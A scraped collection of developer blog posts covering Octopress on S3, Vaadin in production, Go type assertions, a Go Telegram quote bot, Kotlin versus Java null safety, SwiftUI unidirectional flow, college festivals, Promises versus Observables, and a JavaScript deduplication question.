http://blog.joev.me/blog/2013/11/25/Octopress-Plugins-s3-website/
aws, octopress, s3
Originally posted on [joev.me](http://blog.joev.me/blog/2013/11/25/Octopress-Plugins-s3-website/) @ 2013-11-25 I’m hosted on S3 thanks to [this blog post](http://www.robertbrewitz.com/2013/04/relaunching-the-blog-with-octopress-and-amazon-s3/) by Robert Brewitz. Do take a moment to read his post. My first swing at setup took me about a day to wrap my head around. After the next couple tries/tests, plugging-in `jeckyl-s3` felt just as easy to slap together as octopress. While browsing the `jekyll-s3` repo, I found out that the project moved here. So I redid my octopress setup from scratch – which took < 5 min anyways (^_^). Upgrade impressions & comparisons after the break. Luckily, Robert Brewitz’ tutorial was still mostly valid. So the config on `_config.yml` and s3 config did not need re-configuration. Huge time saver. Where the tutorial started to fall short where parts calling `s3-jeckyl` (obviously). The `s3_website` command is a bit different from jeckyl-s3, but there’s sufficient info in the README.md for you to figure it out. ## Was it worth the upgrade? Yes. Apart from more documentation, & logical commands, `s3_website` has also included (or, at least, made more apparent) additional features (routing, ). Overall, in the 7 months’ time that Robert Brewitz blogged about s3-jeckyl, the plugin/gem/watevs has evolved much more; into a well-packaged product. ## Takeways 1. Don’t suck at s3 bucket nomenclature. The only reason why I had as much trouble configuring `jeckyl-s3` in the first place was because I was so stubborn in my desired routing. Don’t be stubborn. Follow the damn tute and be merry. ‘Nuff said. 2. Kinda wish I read a tutorial like [this](http://mycowsworld.com/blog/2013/08/04/setting-up-octopress-with-amazon-web-services/) prior. (read: [dd](http://www.investopedia.com/terms/d/duediligence.asp)) 3. Add `_site` to `.gitignore`. Do this for the same reason why `public` is in `.gitignore` – it’s generated markup, typically not intended to be edited. 4. Changing destination in `_config.yml` will break `rake preview` This was fun… it took me months to realize this. I’m a noob at ruby. So now i keep destination stored like below and toggle the comment when pushing. Brilliant! *pats self on back* ```yaml ... destination: public # default; rake preview # destination: _site # s3_website push ... ``` Welp, I hope this serves you well in your development of a slick deployment process. This was a good icebreaker exercise to get acquainted with octopress & jeckyl. I’ve been cruising on this high of slick tweaking and have been doing some work in the asides. But more on that later. Written with [StackEdit](https://stackedit.io/).
joevdotme
1,361,615
7 years with Vaadin in production. Do we still enjoy it?
7 years with Vaadin in production. Do we still enjoy it?
0
2023-02-13T07:30:00
https://dev.to/dmarko484/7-years-with-vaadin-in-production-do-we-still-enjoy-it-37ic
java, springboot, vaadin, spring
--- title: 7 years with Vaadin in production. Do we still enjoy it? published: true description: 7 years with Vaadin in production. Do we still enjoy it? tags: Java, SpringBoot, Vaadin, Spring # cover_image: https://direct_url_to_image.jpg # Use a ratio of 100:42 for best results. published_at: 2023-02-13 07:30 +0000 --- It’s been 7 years since we deployed our first [Vaadin](https://vaadin.com/) app for production. The whole process has been more than interesting. We developed the application according to an analysis (several modules for the agenda in the field of local government) based on a verbal assignment. The customer started testing on our server and after 2 months found only 3 bugs and requested 2 modifications beyond the original brief. Once implemented, we installed at the customer’s site. The application started for the first time and is still running :-). **SW stack we have used:** * SpringBoot 1.5.x * Vaadin 8.x * MongoDB 3.x * ElasticSearch 1.x * Java 8 on Apache Tomcat 8 Even after 7 years, the application is still running in the same configuration, we only updated the main versions of the individual software packages (there was no budget for doing more). After a successful deployment, the customer started using the application and apart from one small issue, we have not heard from them for more than a year. In fact, we thought the application was not being used much. We were even more surprised when we found out that the application was actively being used and the customer had not heard back as he had no problem with the application. ![Love](https://miro.medium.com/max/720/1*-jqk76lR_Rh9VQ8utPGCBw.webp) **Lessons we learned (from this and another Vaadin projects):** * **quality of the initial development version was excellent.** Individual parts/modules were working as expected and no runtime memory leaks or whatever. We were actually very surprised at how stable [Vaadin](https://vaadin.com/) is. In Vaadin everything is a Java object, so it's easy to avoid any typos and other inconsistencies. * **we haven't used any SW testing tool.** The entire application has been and still is, tested manually only. Having Java static typing, and no weak bindings like REST endpoints, surprisingly we have had very minimal issues. Most of them were caught by developers during initial development. * **the application was created in the style of a “[modular monolith](https://medium.com/@dan_manges/the-modular-monolith-rails-architecture-fb1023826fc4)”.** The entire application consists of 6 modules, we split those inside the SpringBoot application using Java packages in the same structure inside. We just followed some conventions we defined. (btw. have you heard about a recent Spring Modulith ?) * **before being involved in Vaadin**, we used SpringBoot MVC with Thymeleaf templating. It was nice but not flexible for large forms with complex logic, with different buttons, fields visible only under some conditions, etc. We also used Angular, and many REST endpoints but it slowly became very difficult to maintain and synchronize the front-end development with the backend. * **we still do updates every year.** We are adding new modules or enhancing existing ones. If you don't see a code for around one year, it's generally not easy to get into it. But it's not the case with the [Vaadin](https://vaadin.com/). It's very easy to locate the form and button and it’s an onClick listener. Static typing of Java helps here a lot. **Do we still enjoy it?** We are running many [Vaadin](https://vaadin.com/) apps in production since that first one. If there are not any specific requirements we use a “modular monolith” concept, which fits our stack best. We pack applications as WAR and deploy them under [Apache Tomcat](https://tomcat.apache.org/). And yes, we enjoy the development process. It’s very straightforward and Vaadin and SpringBoot fit together well. If you are successful enough, you will slowly switch the app into long time maintenance mode. From time to time a customer comes back and requests some changes or additions. Keeping the entire stack small helps here a lot. It's easy to find the place that needs to be updated and see all in-place relationships/dependencies, [SpringData](https://spring.io/projects/spring-data-mongodb) provides data to our Vaddin components directly, and SpringSecurity covers all logins/permissions requirements. Everything is under your control. Are you still with me? Nice. If you are interested in details and can get a whole idea of how you can use Vaadin in your new or existing projects, you are welcome to take part in this Udemy Course: “[FullStack Vaadin (14–23+) — Practical Solutions](https://www.udemy.com/course/fullstack-vaadin-14-23-practical-solutions/?referralCode=86634EA8983DEA9AB198)” ![Udemy course](https://miro.medium.com/proxy/1*xOYuYidbmzpTTkk3j3nTlw.webp)
dmarko484
1,361,690
TIL: Go typecasting with empty interfaces
Go typecasting with empty interfaces
0
2023-02-11T09:02:52
https://towardsdev.com/til-go-typecasting-with-empty-interfaces-a2e3b8bf1869
go, interfaces, typecasting
--- title: TIL: Go typecasting with empty interfaces published: true description: Go typecasting with empty interfaces tags: go,interfaces,typecasting canonical_url: https://towardsdev.com/til-go-typecasting-with-empty-interfaces-a2e3b8bf1869 series_name: TIL --- *TIL (“Today I learned”) are shorter, less-researched posts that I typically write to help organize my thoughts and solidify things I have learned while working. I post them here as a personal archive and of course for others to possibly benefit from.* ![Photo by [Suzanne D. Williams](https://unsplash.com/@scw1217?utm_source=medium&utm_medium=referral) on [Unsplash](https://unsplash.com?utm_source=medium&utm_medium=referral)](https://cdn-images-1.medium.com/max/8576/0*fxM2oKsDOYGnRNp2) Photo by [Suzanne D. Williams](https://unsplash.com/@scw1217?utm_source=medium&utm_medium=referral) on [Unsplash](https://unsplash.com?utm_source=medium&utm_medium=referral) ## Empty interfaces Today I was working with [Pigeon](https://pkg.go.dev/github.com/mna/pigeon), a Go package which creates parsers based on a [parsing expression grammar (PEG)](http://en.wikipedia.org/wiki/Parsing_expression_grammar). As the [documentation](https://pkg.go.dev/github.com/mna/pigeon#hdr-Labeled_expression) details, it is possible to use a labeled expression in the definition of the rules, like so: LabeledExpr = value:[a-z]+ { fmt.Println(value) return value, nil } In the Go code between brackets value is typed as an empty interface (`interface{}`). When you match a sequence (as in the above with `+` ), the underlying type is a slice of empty interfaces. Since an interface is just a set of methods — an empty interface having no methods — , you need to cast these empty interfaces to concrete types (syntax = `interface.(type)`) in order to access the underlying values. Let’s illustrate this with some code. First, I define a function — for didactic purposes — that will turn any type into an empty interface. func makeInterface(object interface{}) interface{} { return object } Then I make an object which is a slice of empty interfaces (following the example in the above): object := make([]interface{}, 2) Then I assign some values to that slice: object[0] = []byte("hello") object[1] = []byte("world") Finally, we turn the whole thing into an empty interface: test := makeInterface(object) Now, since we have a slice of interfaces, I struggled a bit trying to figure out why this does not work: for _, item := range test fmt.Println(item) } ./test.go:46:23: cannot range over test (variable of type interface{}) ## Type casting Of course, it makes perfect sense. test is not a slice of empty interfaces, but an empty interface containing a slice of empty interfaces. In order to access those, we first need to cast the interface to a slice of interfaces: testSlice := test.([]interface{}) Then we can range over this slice and do additional typecasting: testSlice := test.([]interface{}) for _, item := range testSlice { byteSlice := item.([]byte) fmt.Println(string(byteSlice)) } hello world --- *Hi! 👋 I’m Tom. I’m a software engineer, a technical writer and IT burnout coach. If you want to get in touch, check out [https://tomdeneire.github.io](https://tomdeneire.github.io/)*
tomdeneire
1,361,782
How to build a Telegram Bot that Send Quote after every 10 Send
In this Tutorial we will build a Telegram Bot that fetch Quote from a Website and send it to...
0
2023-02-11T10:48:12
https://dev.to/ayoubzulfiqar/how-to-build-a-telegram-bot-that-send-quote-after-every-10-send-5gac
go, beginners, programming, tutorial
In this Tutorial we will build a Telegram Bot that fetch Quote from a Website and send it to Telegram. For Basic Knowledge and How BOT is build inside telegram: Follow these Instructions ```html https://core.telegram.org/bots/tutorial ``` ## Imports ```go import ( "encoding/json" "log" "net/http" "strconv" "time" "github.com/go-co-op/gocron" "github.com/hashicorp/go-hclog" tgBOT "github.com/go-telegram-bot-api/telegram-bot-api/v5" ) ``` ## Step -1 First we will fetch a quote from a URL ```html https://zenquotes.io/api/random ``` This Website give us JSON response of Some Random Quotes You can See it in your Browser. Than based on JSON Objects we will get from this website we will build our Data Model ```go type RandomQuotes struct { Quote string `json:"q"` Author string `json:"a"` } ``` This JSON model will provide us Quote as well as Author same as the JSON Object we will get from our URL ```go func FetchQuote() string { // fetch the result from the website resp, err := http.Get("https://zenquotes.io/api/random") // if we end up any errors for http errors - e.g if we hit the url too many times if err != nil { log.Fatalln(err) } // than we will close the response - defer means this line of code will execute at the end of function defer resp.Body.Close() // storage for quote we will get var quotes []RandomQuotes // than we will decode the JSON Object BODY Response json.NewDecoder(resp.Body).Decode(&quotes) // if we get response like for example if we get QUOTE Response // we will return it as TEXT Object if len(quotes) > 0 { println(quotes[0].Quote + " - " + quotes[0].Author) return quotes[0].Quote + " - " + quotes[0].Author } // Otherwise Empty String return "" } ``` ## Step -2 ```go func QuoteURL(message string) { // Here we will directly Call the TELEGRAM sendMessage API that means we don't hve to use any warper var URL string = "https://api.telegram.org/bot" + apiTOKEN + "/sendMessage?chat_id=" + strconv.Itoa(chatID) + "&text=" + message // is the message we will enter if it's not empty if message != "" { // we will get the JSON response resp, err := http.Get(URL) if err != nil { log.Fatalln(err) } // Than we will close the response defer resp.Body.Close() } } ``` ## Step -3 GoCorn is a Library that will call the api after every 10 Send and send response to our Telegram ```go var apiTOKEN string = "123456789:AAE8zD_pYDH8DkDKeaOYUIPKIfczHGHGSHEI" var chatID int = 123244576774 func QuoteBOT() { logger := NewLogger() s := gocron.NewScheduler(time.UTC) // Reset limit send mail for users. _, err := s.Every(10).Seconds().Do(func() { logger.Info("calling URL....") // get message from getQuote function message := FetchQuote() QuoteURL(message) }) if err != nil { logger.Error("Error scheduling limit data", "error", err) return } // s.StartAsync() s.StartBlocking() } ``` ## Bonus If you wanna use TELEGRAM Wrapper for API calling Skip the Step 3 ```go go get "github.com/go-telegram-bot-api/telegram-bot-api/v5" ``` ```go updates := bot.GetUpdatesChan(updateConfig) for update := range updates { if update.Message == nil { continue } data, dataErr := FetchQuote() if dataErr != nil { log.Fatal(dataErr) } println(data) message := tgBOT.NewMessage(update.Message.Chat.ID, data) bot.Send(message) } ``` ## Basic Loging ```go // NewLogger returns a new logger instance func NewLogger() hclog.Logger { logger := hclog.New(&hclog.LoggerOptions{ Name: "telegram-bot-service", Level: hclog.LevelFromString("DEBUG"), }) return logger } ``` ## Final Thoughts: Building a Basic BOT is really simple but based on use case it can be very complex and advance. For more advance cases I will post some more content. Like How to implement Trading BOT, Finance BOT etc.
ayoubzulfiqar
1,361,805
Null safety: Kotlin vs. Java
Last week, I was at the FOSDEM conference. FOSDEM is specific in that it has multiple rooms, each...
0
2023-02-16T08:02:00
https://blog.frankel.ch/null-safety-java-vs-kotlin/
kotlin, java, nullsafety
Last week, I was at the [FOSDEM](https://fosdem.org/) conference. FOSDEM is specific in that it has multiple rooms, each dedicated to a different theme and organized by a team. I had two talks: * [Practical Introduction to OpenTelemetry Tracing](https://fosdem.org/2023/schedule/event/tracing/), in the _Monitoring and Observability_ devroom * [What I miss in Java, the perspective of a Kotlin developer](https://fosdem.org/2023/schedule/event/miss/), in the _Friends of OpenJDK_ devroom The second talk is from [an earlier post](https://blog.frankel.ch/miss-in-java-kotlin-developer/). Martin Bonnin did a tweet from a single slide, and it created quite a stir, even attracting Brian Goetz. {% twitter https://twitter.com/martinbonnin/status/1622197657534857220 %} In this post, I'd like to expand on the problem of nullability and how it's solved in Kotlin and Java and add my comments to the Twitter thread. ## Nullability I guess that everybody in software development with more than a couple of years of experience has heard the following quote: >I call it my billion-dollar mistake. It was the invention of the null reference in 1965. At that time, I was designing the first comprehensive type system for references in an object oriented language (ALGOL W). My goal was to ensure that all use of references should be absolutely safe, with checking performed automatically by the compiler. But I couldn't resist the temptation to put in a null reference, simply because it was so easy to implement. This has led to innumerable errors, vulnerabilities, and system crashes, which have probably caused a billion dollars of pain and damage in the last forty years. > >-- [Tony Hoare](https://en.wikipedia.org/wiki/Tony_Hoare) The basic idea behind `null` is that one can define an _uninitialized variable_. If one calls a member of such a variable, the runtime locates the memory address of the variable... and fails to dereference it because there's nothing behind it. Null values are found in many programming languages under different names: * Python has `None` * JavaScript has `null` * So do Java, Scala, and Kotlin * Ruby has `nil` * etc. Some languages do *not* allow uninitialized values, such as Rust. ## Null-safety in Kotlin As I mentioned, Kotlin does allow `null` values. However, they are baked into the type system. In Kotlin, every type `X` has two indeed two types: * `X`, which is non-nullable. No variable of type `X` can be `null`. The compiler guarantees it. ```kotlin val str: String = null ``` The code above won't compile. * `X?`, which is nullable. ```kotlin val str: String? = null ``` The code above does compile. If Kotlin allows `null` values, why do its proponents tout its null safety? The compiler refuses to call members on _possible_ null values, _i.e._, nullable types. ```kotlin val str: String? = getNullableString() val int: Int? = str.toIntOrNull() //1 ``` 1. Doesn't compile The way to fix the above code is to check whether the variable is `null` before calling its members: ```kotlin val str: String? = getNullableString() val int: Int? = if (str == null) null else str.toIntOrNull() ``` The above approach is pretty boilerplate-y, so Kotlin offers the null-safe operator to achieve the same: ```kotlin val str: String? = getNullableString() val int: Int? = str?.toIntOrNull() ``` ## Null-safety in Java Now that we have described how Kotlin manages `null` values, it's time to check how Java does it. First, there are neither non-nullable types nor null-safe operators in Java. Thus, every variable can potentially be `null` and should be considered so. ```java var MyString str = getMyString(); //1 var Integer anInt = null; //2 if (str != null) { anInt = str.toIntOrNull(); } ``` 1. `String` has no `toIntOrNull()` method, so let's pretend `MyString` is a wrapper type and delegates to `String` 2. A mutable reference is necessary If you chain multiple calls, it's even worse as every return value can potentially be `null`. To be on the safe side, we need to check whether the result of each method call is `null`. The following snippet may throw a `NullPointerException`: ```java var baz = getFoo().getBar().getBaz(); ``` Here's the fixed but much more verbose version: ```java var foo = getFoo(); var bar = null; var baz = null; if (foo != null) { bar = foo.getBar(); if (bar != null) { baz = bar.getBaz(); } } ``` For this reason, Java 8 introduced the [Optional](https://docs.oracle.com/javase/8/docs/api/java/util/Optional.html) type. `Optional` is a wrapper around a possibly null value. Other languages call it `Maybe`, `Option`, etc. Java language's designers advise that a method returns: * Type `X` if `X` cannot be `null` * Type `Optional<X>` if `X` can be `null` If we change the return type of all the above methods to `Optional`, we can rewrite the code in a null-safe way - and get immutability on top: ```java final var baz = getFoo().flatMap(Foo::getBar) .flatMap(Bar::getBaz) .orElse(null); ``` My main argument regarding this approach is that the `Optional` itself could be `null`. The language doesn't guarantee that it's not. Also, it's not advised to use `Optional` for method input parameters. To cope with this, annotation-based libraries have popped up: | Project | Package | Non-null annotation | Nullable annotation | | --- | --- | --- | --- | | [JSR 305](https://github.com/amaembo/jsr-305/tree/master/ri/src/main/java/javax/annotation) | `javax.annotation` | `@Nonnull` | `@Nullable` | [Spring](https://github.com/spring-projects/spring-framework/tree/main/spring-core/src/main/java/org/springframework/lang) | `org.springframework.lang` | `@NonNull` | `@Nullable` | | [JetBrains](https://github.com/JetBrains/java-annotations/tree/master/common/src/main/java/org/jetbrains/annotations) | `org.jetbrains.annotations` | `@NotNull` | `@Nullable` | | [Findbugs](https://github.com/stephenc/findbugs-annotations/tree/master/src/main/java/edu/umd/cs/findbugs/annotations) | `edu.umd.cs.findbugs.annotations` | `@NonNull` | `@Nullable` | | [Eclipse](https://github.com/eclipse/aspectj.eclipse.jdt.core/tree/main/org.eclipse.jdt.annotation/src/org/eclipse/jdt/annotation) | `org.eclipse.jdt.annotation` | `@NonNull` | `@Nullable` | | [Checker framework](https://github.com/typetools/checker-framework/tree/master/checker-qual/src/main/java/org/checkerframework/checker/nullness/qual) | `org.checkerframework.checker.nullness.qual` | `@NonNull` | `@Nullable` | | [JSpecify](https://github.com/jspecify/jspecify/tree/main/src/main/java/org/jspecify/annotations) | `org.jspecify` | `@NonNull` | `@Nullable` | | [Lombok](https://projectlombok.org/features/NonNull) | `org.checkerframework.checker.nullness.qual` | `@NonNull` | - | However, different libraries work in different ways: * Spring produces WARNING messages *at compile-time* * FindBugs requires a dedicated execution * Lombok generates code that adds a null check but throws a `NullPointerException` if it's `null` anyway * etc. Thanks to [Sébastien Deleuze](https://mastodon.online/@sdeleuze) for mentioning [JSpecify](https://jspecify.dev/), which I didn't know previously. It's an [industry-wide effort](https://jspecify.dev/about) to deal with the current mess. Of course, the famous XKCD comic immediately comes to mind: ![How standards proliferate by XKCD](https://imgs.xkcd.com/comics/standards.png) I still hope it will work out! ## Conclusion Java was incepted when `null`-safety was not a big concern. Hence, `NullPointerException` occurrences are common. The only safe solution is to wrap every method call in a `null` check. It works, but it's boilerplate-y and makes the code harder to read. Multiple alternatives are available, but they have issues: they aren't bulletproof, compete with each other, and work very differently. Developers praise Kotlin for its `null`-safety: it's the result of its `null`-handling mechanism baked into the language design. Java will never be able to compete with Kotlin in this regard, as Java language architects value backward compatibility over code safety. It's their decision, and it's probably a good one when one remembers the pain of migration from Python 2 to Python 3. However, as a developer, it makes Kotlin a much more attractive option than Java to me. **To go further:** * [Are there languages without "null"?](https://stackoverflow.com/questions/28106234/are-there-languages-without-null) * [Kotlin nullable types and non-null types](https://kotlinlang.org/docs/null-safety.html#nullable-types-and-non-null-types) * [JSpecify](https://jspecify.dev/) _Originally published at [A Java Geek](https://blog.frankel.ch/null-safety-java-vs-kotlin/) on February 12<sup>th</sup>, 2023_
nfrankel
1,361,990
Redux-like state container in SwiftUI. Unidirectional flow.
...about data flow now. Every view has a read-only access to the state via store object. Views can...
24,131
2023-02-11T15:46:13
https://dev.to/sergeyleschev/redux-like-state-container-in-swiftui-basics-unidirectional-flow-3f2p
swift, ios, mobile, programming
...about data flow now. Every view has a read-only access to the state via store object. Views can send actions to the store object. Reducer modifies the state, and then SwiftUI notifies all the views about state changes. SwiftUI has a super-efficient diffing algorithm that’s why diffing of the whole app state and updating changed views works so fast. Let’s modify our store object to support sending actions. ```swift final class Store<State, Action>: ObservableObject { @Published private(set) var state: State private let reducer: Reducer<State, Action> init(initialState: State, reducer: @escaping Reducer<State, Action>) { self.state = initialState self.reducer = reducer } func send(_ action: Action) { reducer(&state, action) } } ``` `State -> View -> Action -> State -> View` This architecture revolves around a strict **unidirectional** data flow. It means that all the data in the application follows the same pattern, making the logic of your app more predictable and easier to understand. --- - [Basics](https://dev.to/sergeyleschev/redux-like-state-container-in-swiftui-basics-single-source-of-truth-2lpc) - [Reducer and Actions](https://dev.to/sergeyleschev/redux-like-state-container-in-swiftui-basics-reducer-and-actions-flg) - [Unidirectional flow](https://dev.to/sergeyleschev/redux-like-state-container-in-swiftui-basics-unidirectional-flow-3f2p) - [Side effects](https://dev.to/sergeyleschev/redux-like-state-container-in-swiftui-side-effects-3l23) - [Usage](https://dev.to/sergeyleschev/redux-like-state-container-in-swiftui-usage-k1i) --- **Contacts** I have a clear focus on time-to-market and don't prioritize technical debt. And I took part in the Pre-Sale/RFX activity as a System Architect, assessment efforts for Mobile (iOS-Swift, Android-Kotlin), Frontend (React-TypeScript) and Backend (NodeJS-.NET-PHP-Kafka-SQL-NoSQL). And I also formed the work of Pre-Sale as a CTO from Opportunity to Proposal via knowledge transfer to Successful Delivery. 🛩️ #startups #management #cto #swift #typescript #database 📧 Email: sergey.leschev@gmail.com 👋 LinkedIn: https://linkedin.com/in/sergeyleschev/ 👋 LeetCode: https://leetcode.com/sergeyleschev/ 👋 Twitter: https://twitter.com/sergeyleschev 👋 Github: https://github.com/sergeyleschev 🌎 Website: https://sergeyleschev.github.io 🌎 Reddit: https://reddit.com/user/sergeyleschev 🌎 Quora: https://quora.com/sergey-leschev 🌎 Medium: https://medium.com/@sergeyleschev
sergeyleschev
1,362,076
How participation in college festivals matter too besides community work
These days, as the student fraternity continues to grow, there is a confusion for the freshers...
0
2023-02-11T17:32:47
https://dev.to/hackthisfall/how-participation-in-college-festivals-matter-too-besides-community-work-3cc7
collegefests, community
**These days, as the student fraternity continues to grow, there is a confusion for the freshers as soon as they get admitted to a college and are introduced to a wide range of activities-either on campus or via online forums. This blog will help them consider exploring the participation in college festivals, as working in student communities may look good in the CV but there are a few perks of the former that people may miss out if the opportunities are not pursued!** 1. _The aura is different here-_ There is generally no competition from non college students & there is no internship to crack here- so the pressure is less & one can typically unwind themselves while enjoying the events (except when one becomes a finalist of course) Here, people explore all kinds of talents-which aren't usually there in community meetups. The audience might be completely different with no extra push to crack a good salary towards the end of the college, while meetups may be more job focused. 2. _Winning a competition boosts morale-_ Whether it is creative writing, singing, dancing, etc to robowars, robot soccer, aeromodelling (among the vast range of competitions available), there is a lot to explore, learn & implement while trying a shot to win prizes. There might be prizes from companies (read: swag) but earning one with one's own sweat & blood, without spending hours in front of a screen, with one's own talent is what that may drive one's confidence. 3. _There is madness-_ College fests are meant to have musical nights, with people dancing without sleep in their eyes. Moreover, community events won't have long hours and djs (except for a few hackathons but that is a seperate one). 4. _Opportunity to stay in other colleges and network with people-_ Meetups and events don't last too long to connect & talk to people. Hackathons too, are designed to keep people busy in building their products. But in fests, there is always plenty of time to do what is needed! 5. _Fests have more reach than meetups and hackathons._ People who aren't in the tech field & jobs are easily found here! Moreover, you can get participation certificates to flex in social media posts. > These are some of the main reasons why I attend college fests, & I think why people should > attend fests.
bridgesgap
1,362,103
Difference between Promises and Observables
Imagine that you have a friend who promises to give you a toy. A promise is like that - it's when...
0
2023-02-11T19:09:03
https://dev.to/jahid6597/difference-between-promises-and-observables-2a2p
javascript, typescript, webdev, programming
Imagine that you have a friend who promises to give you a toy. A promise is like that - it's when someone says they'll do something for you in the future. So when your friend promises to give you a toy, you trust that they will do it. Now, imagine that you're waiting for your friend to bring you the toy, but you don't know when they'll arrive. This is kind of like an observable. An observable is like waiting for something to happen, but you don't know exactly when it will happen. It's like watching a caterpillar turn into a butterfly - you know it will happen, but you don't know exactly when. In computer programming, promises and observables are used to help us do things in a certain order. For example, we might use a promise to wait for data to be loaded from a website, and then use an observable to show that data on the screen. Just like waiting for your friend to bring you a toy, promises and observables help us trust that certain things will happen in the right order. Promises and observables are both design patterns used for handling asynchronous operations. However, they are different in their implementation and use cases. ## Promise A Promise is a single-value container that represents the eventual result of an asynchronous operation. Once a promise is resolved or rejected, its value can not change anymore. It is often used when you want to handle the result of an async operation, like an HTTP call. Promises are commonly used to handle async operations that return a single result. A promise represents a value that may not be available yet. It's a returned object to which you attach callbacks, instead of passing callbacks into a function. A Promise has two states: "pending" and "settled". A promise is said to be "pending" when it has not yet been fulfilled or rejected. A promise is said to be "settled" when it has either been fulfilled with a value or rejected with a reason (error). Here's an example of using a Promise to handle an asynchronous operation: ``` js function getData(url) { return new Promise((resolve, reject) => { const xhr = new XMLHttpRequest(); xhr.open("GET", url); xhr.onload = () => resolve(xhr.responseText); xhr.onerror = () => reject(xhr.statusText); xhr.send(); }); } getData('https://jsonplaceholder.typicode.com/posts') .then((data) => { console.log(data); }) .catch((error) => { console.error(error); }); ``` In this example, we use the `getData` function to make an HTTP `GET` request to a URL and retrieve the response text. The `getData` function returns a `Promise` that is resolved with the response text when the request is successful, or rejected with an error message when the request fails. The Promise is used by calling the then method and passing in a success callback, as well as a `catch` method to handle any errors. ## Observable An Observable is a sequence of values that can be observed over time. It's like a stream that can emit multiple values over time, and it can be used for handling asynchronous data such as events or data from an API. An Observable can be "subscribed" to and whenever a new value is emitted, the subscriber will receive it. An Observable is a stream of values over time. An observable can emit multiple values over a period of time, and you can subscribe to it to receive each value as it comes in. It is similar to a promise but it is a representation of a series of future values or events. Observables are more versatile and can be used for handling more complex async operations, like real-time updates, user input, and handling multiple values over time. Here's an example of using an Observable to handle an asynchronous operation: ``` js import { Observable, fromEvent } from "rxjs"; const button = document.querySelector("button"); const clickObservable = fromEvent(button, "click"); clickObservable.subscribe((event) => console.log(event)); ``` In this example, we use the `fromEvent` function from the `rxjs` library to create an Observable that represents a stream of button click events. We then `subscribe` to the `Observable` using the `subscribe` method, and whenever the button is clicked, the `subscriber` will receive the `event`. Choosing between a Promise and an Observable will depend on the specific requirements of your application. If you need to handle a single asynchronous result, then a Promise is probably the better option. However, if you need to handle multiple values over time, or if you want to be able to cancel an ongoing operation, then an Observable would be a better choice. ## Difference Table | Feature | Promise | Observable | | --------- |:---------:| -------:| | Representation | Single-value container | Stream of values over time | | Number of Values | Single-value container | Multiple values over time | | Use Case | Ideal for handling a single result of an async operation | Ideal for handling multiple values over time, like real-time updates, user input, etc. | | Immutability | Value cannot be changed once it is resolved or rejected | Observables can change values over time | | Syntax | Simpler syntax | More complex syntax | | Error Handling | Reject callback for error handling | Error handling through catch and/or onError callbacks | | Chaining | Can chain multiple then callbacks | Can chain multiple subscribers | | Lazy Evaluation | Evaluates immediately | Can be lazily evaluated by subscribing | | Composability | Difficult to compose Promises | Easy to compose and manipulate Observables using operators | | Cancellation | No built-in support for cancellation | Supports cancellation through unsubscribing | | Blocking | Blocking - waits for the result | Non-blocking - emits values as they come in | | Creation | <code> const promise = new Promise(() => { <br> resolve(10); <br> }); </code> | <code> const obs = new Observable((observer) => { <br> observer.next(10); <br> }); </code> | | Transform | <code> promise.then((value) => value * 2); </code> | <code> Obs.pipe(map(value) => value * 2); </code> | | Subscribe | <code> promise.then((value) => { <br> console.log(value); <br> }); </code> | <code> const sub = obs.subscribe((value) => { <br> console.log(value); <br> }); </code> | | Unsubscribe | Can’t unsubscribe | <code> sub.unsubscribe(); </code> | ## When we should use Promises and Observables are used in different situations, depending on the nature of the asynchronous operation you're trying to perform. Promises are typically used when you have a single asynchronous operation that needs to be performed, and you want to be notified when that operation has completed (or if it fails). For example, you might use a Promise when you need to make an HTTP request to retrieve data from a server, and you want to handle the response when it arrives. Observables, on the other hand, are typically used when you have a sequence of asynchronous events that you want to observe over time. For example, you might use an Observable when you want to subscribe to a stream of mouse clicks or keyboard events, and you want to handle each event as it occurs. In general, if you have a single asynchronous operation that you want to perform, and you just want to be notified when it has completed, a Promise is a good choice. If you have a sequence of events that you want to observe over time, an Observable is a good choice. Ultimately, the choice between a Promise and an Observable will depend on the specific requirements of your application, and it's important to understand the differences between the two concepts in order to make the right choice for your use case. ## When we should not use We should not use Promises or Observables in situations where they are not appropriate. Here are a few examples of when you might want to avoid using either one: - Avoid using Promises when you need to observe a stream of events over time, rather than a single value that may or may not be available. In this case, an Observable is a better choice. - Avoid using Observables when you have a single asynchronous operation that you just need to perform, and you don't care about observing the results over time. In this case, a Promise is a better choice. - Avoid using Promises or Observables when you can perform the operation synchronously, without involving any asynchronous behavior. In this case, using a synchronous solution is a better choice. - Avoid using either Promises or Observables in situations where you need tight control over the order in which events occur. For example, if you need to perform a set of operations in a specific order, and you need to guarantee that one operation is complete before starting the next, you might want to avoid using either Promises or Observables, and instead use a more traditional approach like callbacks or chaining Promises. Ultimately, the choice between a Promise and an Observable, or whether to use either one at all, will depend on the specific requirements of your application. It's important to understand the strengths and weaknesses of each concept, in order to make the right choice for your use case. ## Conclusion Promises and Observables are two powerful concepts in JavaScript and TypeScript for handling asynchronous operations. Promises are used for representing a single asynchronous operation, where you just want to be notified when the operation is complete or has failed. Observables, on the other hand, are used for representing a sequence of asynchronous events, where you want to observe each event as it occurs over time. When choosing between Promises and Observables, it's important to consider the nature of the asynchronous operation you want to perform, and the requirements of your application. If you have a single asynchronous operation that you just need to perform, and you don't care about observing the results over time, a Promise is a good choice. If you have a sequence of events that you want to observe over time, an Observable is a good choice. In any case, it's important to understand the differences between Promises and Observables, and to make the right choice for your use case in order to write efficient, maintainable, and scalable code.
jahid6597
1,362,116
How to Make a Reusable Function that Removes Duplicates
I am trying to make a function as re-usable as possible. I have a JSON file containing "products"...
0
2023-02-11T19:45:21
https://dev.to/mitchelln11/how-to-make-a-reusable-function-that-removes-duplicates-52id
javascript, help, react
I am trying to make a function as re-usable as possible. I have a JSON file containing "products" for now. ``` export let productList = [ { id: 0, productName: "Men's Merrel Hiking Boots", price: 65.00, brand: "Merrell", }, { id: 1, productName: "Women's Merrel Hiking Boots", price: 65.00, brand: "Merrell", }, { id: 2, productName: "Natural Walking Stick", price: 22.00, brand: "Fayet", } ] ``` In my case, I am trying to map through these products and return all the brands without duplicates. I know I can do that with this Set function: ``` function dedupeCheckboxOptions() { return [...new Set(productList.map(product => product.brand))]; } ``` This works, but I am struggling to figure out a way to make this more re-usable. I would think it would look something like this so I could also use the function to maybe return the prices: ``` function dedupeCheckboxOptions(fullList, item) { return [...new Set(fullList.map(product => product[item]))]; } ``` The syntax appears to be correct, but whenever I try to pass values, whatever iterable list I send through in the fullList parameter, it comes through undefined. Ex: ``` dedupeCheckboxOptions(productList , brand) returns undefined ``` Any thoughts as to why?
mitchelln11
1,362,208
🍀What is the difference between the algorithm and technique? 🍁
Intro Hi everyone, today I will explain the algorithm and technique. What is algorithm and...
0
2023-02-11T20:45:42
